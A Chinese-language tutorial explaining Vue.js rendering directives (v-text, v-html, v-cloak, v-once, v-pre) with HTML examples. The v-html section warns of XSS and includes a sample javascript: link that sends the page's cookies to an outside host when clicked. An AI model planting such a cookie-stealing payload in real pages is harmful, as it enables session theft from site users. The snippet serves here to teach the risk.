1. 渲染文本 – v-text

<!--v-text 指令：1. 作用：向其所在的节点中渲染文本内容2. 与插值语法的区别：v-text 会替换掉节点中的内容，{{xxx}} 则不会
-->
<div id="root"><p>{{msg}} {{num}}</p> ==> <h1>哈哈哈</h1> 0<p v-text="msg">{{num}}</p> ==> <h1>哈哈哈</h1>
</div>

2. 渲染文本+解析标签 – v-html

<!--v-html 指令1. 作用：向指定节点中渲染包含 html 结构的内容2. 与插值语法的区别：(1) v-html 会替换掉节点中所有的内容，{{xxx}} 则不会(2) v-html 可以识别 html 结构3. 严重注意：v-html 有安全性问题！！！(1) 在网站上动态渲染任意 html 是非常危险的，容易到时 XSS 攻击(2) 一定要在可信的内容上使用 v-html，永远不要在用户提交的内容上
-->

<!--Danger: 点链接，向某个服务器发送当前页面的所有 cookie ，控制台勾选了 httpOnly 的 cookie 就不会被发送
-->
<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>百度</a>

3. 优化展示效果 — v-cloak

<!--v-cloak 指令（没有值）1. 本质是一个特殊属性，Vue 实例创建完毕并接管容器后，会删掉 v-cloak 属性2. 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题
-->
<style>[v-cloak] {display: none;}
</style><div id="root"><p v-cloak>{{name}}</p> 防止资源加载慢，影响页面展示效果
</div>

4. 只干一次 — v-once

<!--v-once 指令：1. v-once 所在节点在初次动态渲染后，就视为静态内容了2. 以后数据的改变不会引起 v-once 所在结构的更新，可以用于优化性能
-->
<div id="root"><p v-once>初始化的数据{{num}}</p><p>更新后的数据{{num}}</p><button @click="add">点击 + 1</button>
</div>

5. 让其变成静态资源 – v-pre

<!--v-pre指令：1. 跳过其所在节点的编译过程2. 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
-->
<div id="root"><p v-pre>哈哈哈</p><p>初始化的数据{{num}}</p><p>更新后的数据{{num}}</p><button @click="add">点击 + 1</button>
</div>